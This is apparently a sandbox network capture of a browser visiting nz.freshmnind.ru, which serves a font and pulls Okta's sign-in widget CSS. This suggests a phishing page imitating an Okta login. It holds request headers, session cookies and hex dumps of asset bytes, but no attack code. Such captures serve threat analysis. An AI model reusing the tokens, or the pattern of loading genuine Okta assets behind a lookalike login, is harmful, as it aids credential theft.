2025-03-25 17:08:20 UTC	1369	IN	Data Raw: e0 3a f0 a8 7c e2 2f 37 5c 00 8e a5 ab fe c8 4d 7e f8 24 cc da 65 7a 3b ea 60 78 86 ff b3 c6 4f 36 07 f0 1a 51 20 a0 99 2b b4 a0 13 bd 18 20 6b 45 56 76 cd d7 7a ed d7 c7 ba aa 3b b1 b4 64 a3 7a aa 0f 66 70 46 7f 21 15 af 12 d9 74 5e ed 72 69 d8 84 35 5b ae ba 2b fa 7d 68 88 d0 99 2c 36 2d b4 e3 a4 1b 8f 95 8e bb 7f 97 86 e2 ba 5c 5f 5c df 69 51 46 4e 6c 02 f0 b1 d8 e7 2b 8e a3 a9 3f be b2 11 27 f6 00 43 55 69 d3 a5 df 48 6c 3e eb b5 05 1b 3e ba b4 16 0c 1b 33 6e 8c b6 ef fe ea b0 51 5b 67 5b ed 66 bb c5 76 da fd f6 d8 d0 81 a1 a3 43 33 b6 8e 1c 8d 18 91 60 24 d2 66 95 22 dd f3 ef ac 3b 07 1e e5 27 52 13 68 c6 e2 f5 de f1 3b 8f f0 81 ef 71 fe f1 fd 49 ba 7e 09 cf 1d a4 7f fa e7 21 f4 b6 ef 13 3a 82 ff 4c fc 0f 8e df 4c fc 77 bc e8 8d 3f ec d3 17 d9 de 8d Data Ascii: :\|/7\M~$ez;`xO6Q + kEVvz;dzfpF!t^ri5[+}h,6-\_\iQFNl+?'CUiHl>>3nQ[g[fvC3`$f";'Rh;qI~!:LLw?

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:18 UTC	1366	OUT	GET /GDSherpa-vf2.woff2 HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Origin: https://nz.freshmnind.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
2025-03-25 17:08:20 UTC	1171	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:20 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="GDSherpa-vf2.woff2" cf-cache-status: EXPIRED Age: 5780 Last-Modified: Tue, 25 Mar 2025 15:31:59 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P9ayGOanZhHQu4vZvp%2BKi%2FHS6cg8Dhhp6UK3qSSXmBEBHX4q2bQO5m2Y%2BxPyKSg5ljM4y6IFCCMWdeR8dAM4uzH5sJGm8p39KVO%2BRp3BkSQ49qRNnA8FN4g58qjs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=5096&min_rtt=5092&rtt_var=1918&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2324&delivery_rate=564852&cwnd=251&unsent_bytes=0&cid=83dbce329ef2ff44&ts=26&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 926002725d06f3ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106152&min_rtt=105347&rtt_var=23063&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1938&delivery_rate=35362&cwnd=208&unsent_bytes=0&cid=31ab199b482aa266&ts=1359&x=0"
2025-03-25 17:08:20 UTC	198	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 ea 01 a9 6e cf 19 c7 21 ef 85 0b 87 09 13 e9 52 7d 47 4c 0e c3 35 6e 21 02 bb de e5 5e e4 9b b2 cb 49 10 e5 82 c3 41 89 fa 8c 03 e7 80 55 08 8a bb 2c 26 bf 84 75 7a a2 bc 81 1a 45 7f 52 ae 4b 2f 47 4c d1 0e eb 23 c5 82 f2 55 13 14 41 38 25 09 72 64 c4 d3 45 2c 7d a1 88 b0 27 65 e7 c3 80 f1 75 10 eb 82 33 17 64 44 9a 0c d1 e1 7d c8 bc 9f 3a ee fe 30 9b 61 ba 8a 23 4f 38 bb 7c c4 37 ee e8 7b dc a7 7d 85 6f 10 dd 17 fe 9a bf 28 bc 44 dc 91 8f 48 58 1f 0d d2 77 aa 3b 46 e2 0a 17 67 b8 2b 17 f1 1e ee 98 67 0e 78 af ae 2c af 40 7e 3c cf 4b ce cd d7 94 da c8 d9 5a 4a 77 dc 1e 1c e6 94 fa f2 5e Data Ascii: DEviQF8iH!rP4Z[Zsor8bOn!R}GL5n!^IAU,&uzERK/GL#UA8%rdE,}'eu3dD}:0a#O8\|7{}o(DHXw;Fg+gx,@~<KZJw^
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 2a 39 05 0f 51 13 a8 6a 95 66 57 57 f5 ce 3d 80 89 09 a1 c5 40 df 48 36 81 26 dc dc 00 be 84 1a 10 87 78 f8 77 ed 73 5e 32 f0 61 76 b7 80 28 01 65 7b 7c 25 2b 16 3a f9 b3 aa 42 55 38 95 6b e1 1a 39 c9 03 82 2b 28 62 54 e4 2a b3 77 9b e4 02 05 b6 7d 55 62 5f 4d 28 19 54 d5 53 a1 fe 7f af 9b 27 1d 42 5e 8a 2a 4d 61 f7 78 4a d7 99 24 18 8f 95 38 f5 77 78 da 56 ff de 0c cc d0 da 7b 5b e9 66 5e ed 60 5c 44 fd fd 51 cd 63 86 92 30 41 0c 10 03 14 29 89 14 10 8c 5a d7 55 37 4a dd a8 73 23 2f b7 5c a6 f3 78 cf 08 c4 90 6e f8 fc cf 99 19 00 3e 7f 6a 6a 0a d8 4e 4e 48 14 16 00 83 f8 39 50 48 53 c0 cb 41 71 40 9e 58 9d 50 6b 7f 80 7e 86 29 43 64 38 04 73 eb ac 0f ab 51 b2 25 63 2c 93 45 b3 66 1b 63 c9 d8 46 f4 18 25 51 23 86 44 0a 4a 98 88 51 98 f9 7e 94 be cf b7 5f Data Ascii: 9QjfWW=@H6&xws^2av(e{\|%+:BU8k9+(bTw}Ub_M(TS'B^*MaxJ$8wxV{[f^`\DQc0A)ZU7Js#/\xn>jjNNH9PHSAq@XPk~)Cd8sQ%c,EfcF%Q#DJQ~_
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 35 a9 4d 6e b5 2e 28 ac c0 80 33 ab 00 bf e8 a9 d3 90 e6 05 8a fa 5a 4f 65 65 dd 26 71 26 aa 9e 8a 69 21 f1 26 a3 0b 8e ba 51 d4 2b 0a c0 ac 4e 83 df fb a1 5c de df c7 84 01 fc 85 d9 d5 02 79 f8 fd 64 32 f8 09 c2 23 f7 e2 70 d1 d1 c9 3b f3 0e 00 18 00 94 f8 6a dd 3a 62 8a c5 68 b4 dd 4e 26 7b bd 74 7a 30 c8 e7 c7 63 6d a6 d3 6a 75 b1 68 36 d7 eb b0 6c b7 c3 21 4d 7b c3 b2 f3 b9 20 ac 56 b2 5c 90 e5 a2 aa 00 e8 3a 18 c6 c6 b2 78 1e 42 51 74 9c e2 dd 8e 82 31 b9 81 40 3c fe 02 45 0b 86 21 08 49 2e a4 52 50 d4 64 18 1c ef 93 20 58 56 85 e7 d3 69 41 08 42 81 b3 59 8b 28 72 9c 24 59 96 17 e7 72 37 aa 5a f2 79 45 29 30 28 72 4a 82 92 40 4a 94 b2 d6 60 cc 61 2e d7 35 c5 39 6b bd 1f 84 70 04 f9 eb 29 3e 3a f2 e6 70 d0 42 8c 29 7d bf fc 53 55 08 71 64 b7 f5 76 7e Data Ascii: 5Mn.(3ZOee&q&i!&Q+N\yd2#p;j:bhN&{tz0cmjuh6l!M{ V\:xBQt1@<E!I.RPd XViABY(r$Yr7ZyE)0(rJ@J`a.59kp)>:pB)}SUqdv~
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 28 e6 dc 0c 8d 8b 6b 71 a8 9b 77 7a 33 d9 37 4e 87 54 8f a3 7f 40 63 04 55 47 4a 1a b8 76 82 18 e2 be 7f 98 5c 6f cf 48 b0 3e 7a 74 20 6e 6a 3a c7 a8 26 89 dd 9c ce 4a 89 29 b5 84 28 8d e8 42 8d cb 52 2e e7 b5 55 fc e7 e4 60 b1 88 1c 02 a2 4c ad e2 4a c0 a7 71 de f5 83 2c 93 d1 af ba 96 1a ac d4 fd a9 01 f2 00 e4 f3 c9 4b c9 31 22 75 bc 5f af 93 71 45 48 68 20 6a ce 87 d4 5e 6d c8 92 b3 9b 33 02 45 51 e3 91 59 f6 88 6e 11 41 c9 51 d4 07 af b7 01 06 c8 6a c4 96 af dd 69 f0 0f d8 2a e2 6c 0f 28 6b 62 73 c4 d9 65 0c f8 d4 d4 09 f8 01 4f de 00 9e 3c 65 77 fb 95 b2 51 cd 5a 2d 2b f5 cc 75 78 4c af fb 96 83 c8 47 b6 7e c9 c9 31 e8 2e 43 ee 30 e2 88 71 87 4c 38 68 ca 7e 33 f6 9a b3 db 82 9d 73 49 48 dd 97 33 02 6c b7 62 eb dc 50 aa db df 51 37 61 c3 6d 2b 1f 89 Data Ascii: (kqwz37NT@cUGJv\oH>zt nj:&J)(BR.U`LJq,K1"u_qEHh j^m3EQYnAQji*l(kbseO<ewQZ-+uxLG~1.C0qL8h~3sIH3lbPQ7am+
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: ed cd 08 ed ef a6 7b f5 a5 11 d5 df 27 49 0d 46 28 05 81 61 25 a2 5d a6 81 69 5c c2 02 08 27 52 07 15 bd 8f 9d f8 5b 07 70 bf e6 cd 17 08 28 e0 26 fd 17 dd 73 03 02 74 77 7f 99 04 23 6d 76 0d 32 11 48 04 00 7e 05 4e 0d eb 27 75 3c 6c 2c 6c c3 77 3b c3 70 2f 60 4d 31 dc 0b 04 77 e6 7c 3e 08 bf d8 ae a8 6d 33 4b 77 ab fe 6d 4b 26 9b 99 f5 f8 32 b7 6b 0f b8 bf 83 50 1d ee 08 8b 97 e8 34 77 fc e5 f1 38 0e 97 80 b0 b2 db a3 1e 8d 47 d2 b7 45 f8 ab ba 35 d4 b0 2d 4c f4 7d fc f3 6d 4d 5e 76 d5 64 74 6e 2f 82 b1 f0 ba 4b d3 55 ea 85 b5 62 be 83 e1 69 86 6a b8 c8 8b c1 5a 4a a7 c5 11 6f 33 73 2e f6 36 fe aa 50 09 03 a4 df ff 20 62 90 9f 7a 3c 54 2d ee db 6f 86 1a 42 b8 06 61 c8 b8 4c 63 74 4b 67 b7 25 94 42 e4 80 77 f2 e4 71 78 aa 0d 93 d0 11 8b 6c 8e 39 7b d9 62 Data Ascii: {'IF(a%]i\'R[p(&stw#mv2H~N'u<l,lw;p/`M1w\|>m3KwmK&2kP4w8GE5-L}mM^vdtn/KUbijZJo3s.6P bz<T-oBaLctKg%Bwqxl9{b
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 4c 74 60 f2 e6 2d 6c b4 45 da 30 62 bf 2b eb e8 28 0f a3 1a ca 78 d7 62 9b 53 26 cb f2 94 82 52 db 64 9b 90 ef f0 56 d4 b5 db 01 43 9d 8a b5 f0 fb a2 ac 59 d4 56 bf ab 5c 03 37 ed 95 d2 73 b7 fe 81 58 e0 38 ed af 97 31 12 0c 48 e1 f9 c9 a4 05 3d 65 49 26 ef b5 8a d8 5c c1 66 d9 9b 7f 4a 61 a4 ad 89 d2 bb 3a 50 80 24 57 2b 3c 37 75 4a a4 39 6c fd 00 ea 85 4e 3b d1 c2 7d 2a 16 aa 37 04 44 84 b4 15 68 36 d7 58 3c c7 7b 64 ad 83 d4 40 7b ae 43 1d 30 a1 9f dc 34 b4 b9 58 af 48 29 03 7d 8d e5 0a e4 80 1a 54 40 49 9e d6 ed 54 8c 1a 33 b6 75 12 46 2c f1 86 29 13 ec b0 ac 2e 4d 03 ff e1 d0 5e e0 b6 1f 78 4e e1 05 af 16 7e ae 78 b5 5c 88 e9 3d 2f aa fc 1c 9c 77 84 19 8f 32 b7 b3 ad 8a e3 ba 21 3a 1e f6 66 ed 44 5f 78 88 5b cf 4e f3 b8 70 1e d3 ed 25 43 1a e8 25 13 Data Ascii: Lt`-lE0b+(xbS&RdVCYV\7sX81H=eI&\fJa:P$W+<7uJ9lN;}*7Dh6X<{d@{C04XH)}T@IT3uF,).M^xN~x\=/w2!:fD_x[Np%C%
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 01 54 a9 4f 78 58 89 b1 c4 0c e1 5d b5 49 e5 51 2a 48 9b c0 e8 a6 25 b9 05 ab 5e b1 cc e9 b5 05 00 be 89 33 a2 88 a1 ef ad f7 2b 65 ce 62 9b 09 89 62 ce cc 8e 62 9b 7e 09 fd ba 9f 54 dc 68 3b 09 0d 48 30 b4 aa f6 37 ec 1d b1 56 da 1c 80 5e 6b 61 1a 3d f7 6a 85 cb 7d 36 b4 33 47 16 4a 86 79 29 a7 b0 5d cd ca ec 3d 02 27 36 a9 9e 9c 91 a0 c8 7e d0 77 09 b5 6c 85 91 57 85 bd 0f 93 70 89 ba a1 2c 89 43 4c e9 1a c6 79 86 00 17 c2 d5 04 6d dc 34 d6 3d f3 a3 ed f9 e1 93 87 26 87 2a 6a d6 2e 84 e4 84 a0 1c 47 71 9c 6a 88 71 eb 87 be 57 98 bd a7 03 58 ba 74 ae dc ed 27 ae 86 3b 8b 11 4e c2 ad d0 7f 0e 40 70 00 c2 f9 c0 06 82 1b 3c 78 e0 c5 97 fd 66 69 01 42 20 c2 b0 11 01 04 06 1b 38 2c 04 20 a2 f0 42 22 48 0c 2e 68 60 58 a0 38 e0 78 70 84 f0 36 2b 92 20 c4 c9 59 Data Ascii: TOxX]IQH%^3+ebbb~Th;H07V^ka=j}63GJy)]='6~wlWp,CLym4=&j.GqjqWXt';N@p<xfiB 8, B"H.h`X8xp6+ Y
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: ad 46 7d 88 c2 aa 02 0a 87 0c 64 f0 d2 7f f9 b8 52 ec 49 ef c7 c8 c3 55 e1 e2 f0 84 40 41 40 b6 af ca eb a4 97 dc c3 e0 d6 e6 96 5d 84 c8 bd 51 7b da f6 50 1e bc bd c3 7a 7a e4 5e d3 7d 23 29 db aa 71 f1 db 56 6f 5d f0 b7 70 cb d1 68 01 cf d7 3c d7 47 61 79 5c 27 a1 a7 7b 4b 40 b8 be 47 46 8f d4 93 59 87 ec 0e f0 5d 9b ac 6c f2 eb fa d4 3c d6 d4 a5 ee 5a 09 a0 d8 d4 06 0f fd 8b 7e ad 49 60 dd df af 12 ad 1c 53 69 a6 ff b8 4b 8c fc f7 31 74 ed 67 cb 9c 3a 7f 4c 63 68 fe 21 c1 65 ec 8f 59 dc fa 1f fb e4 79 0a f2 6a 85 7c c8 0d 95 05 17 61 45 50 0c 27 48 8a 66 58 8e 17 c4 f8 73 b4 d8 c4 b2 9d 6e fd 1e 20 21 6c 2b 02 8a e1 04 49 d1 0c cb f1 82 58 ea 4a 19 45 ad 75 a8 8e 61 5a ed ce 75 70 bd 87 cd 21 62 af 76 84 9f 23 51 57 de 1e a5 db 58 86 72 f4 e5 de eb 31 Data Ascii: F}dRIU@A@]Q{Pzz^}#)qVo]ph<Gay\'{K@GFY]l<Z~I`SiK1tg:Lch!eYyj\|aEP'HfXsn !l+IXJEuaZup!bv#QWXr1
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 7e 8b cd 6d 37 f8 d0 a7 21 d2 48 8d b7 93 b8 a5 b7 0a cf 99 56 74 50 56 a9 ba 0b 6a a8 ad ea 36 e9 4e 2f 3b ff c3 13 40 b6 a3 83 05 3a 07 23 42 02 23 28 86 13 24 45 33 2c c7 0b a2 24 9f af 8e 70 f3 a7 99 8f 22 98 f7 02 af 2f 46 50 0c 27 48 01 45 33 2c 27 7c ce 90 84 47 cd 09 4f e1 95 a2 52 d7 14 6a d1 d5 63 b0 b3 77 e8 84 b3 4b 04 50 7d a2 c1 60 71 78 02 91 44 a6 50 69 f4 65 f0 36 9a e2 e6 be 20 06 29 8c b0 96 cd f3 38 70 97 27 88 f1 11 08 45 62 89 54 26 57 28 55 6a cd 6a 05 3a 1d 7a c3 e5 98 da df 33 99 2d d6 b6 b6 76 1c 4e d7 e7 f7 a6 b7 db 9e 6f 0e ae de 97 ad d1 81 af b9 39 78 24 00 e8 22 c7 ef 92 72 02 b9 ec 11 7c 29 89 de c4 85 7f 6f b3 a9 2f 79 d1 0f 6e 5e 15 32 9d 87 87 5c 2b 14 94 60 2a 6a 9a cf d0 9a 90 f5 68 c8 f5 5f 0e 09 57 64 88 f8 f7 4c 10 Data Ascii: ~m7!HVtPVj6N/;@:#B#($E3,$p"/FP'HE3,'\|GORjcwKP}`qxDPie6 )8p'EbT&W(Ujj:z3-vNo9x$"r\|)o/yn^2\+`*jh_WdL

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:19 UTC	640	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://nz.freshmnind.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:19 UTC	770	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Thu, 13 Mar 2025 22:49:11 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Fri, 13 Mar 2026 22:49:11 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 f6acfb143216fabf7be9b3a603a486ae.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: Zu0OQp07SiAlFb2ZzsANzYl9fMHv6N57LK0rW0Bn2ox5Gk--RWHANg== Age: 1016348
2025-03-25 17:08:19 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-25 17:08:19 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2025-03-25 17:08:19 UTC	16384	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2025-03-25 17:08:19 UTC	14808	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 32 32 70 78 20 30 20 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b Data Ascii: background:#f9f9f9}#okta-sign-in .dropdown.more-actions .option-selected{color:#333;float:none!important;overflow:hidden;padding:0 22px 0 8px!important;position:relative;white-space:nowrap}#okta-sign-in .page-links .dropdown.more-actions .option-selected{
2025-03-25 17:08:19 UTC	16384	IN	Data Raw: 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 65 65 65 20 31 25 2c 23 66 66 66 20 31 35 25 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 65 65 65 20 31 25 2c 23 66 66 66 20 31 35 25 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 6c 69 6e 65 61 72 2d 67 72 61 Data Ascii: peat -30px -20px,-moz-linear-gradient(top,#eee 1%,#fff 15%);background:url(../img/ui/forms/chosen-sprite.png) no-repeat -30px -20px,-o-linear-gradient(top,#eee 1%,#fff 15%);background:url(../img/ui/forms/chosen-sprite.png) no-repeat -30px -20px,linear-gra
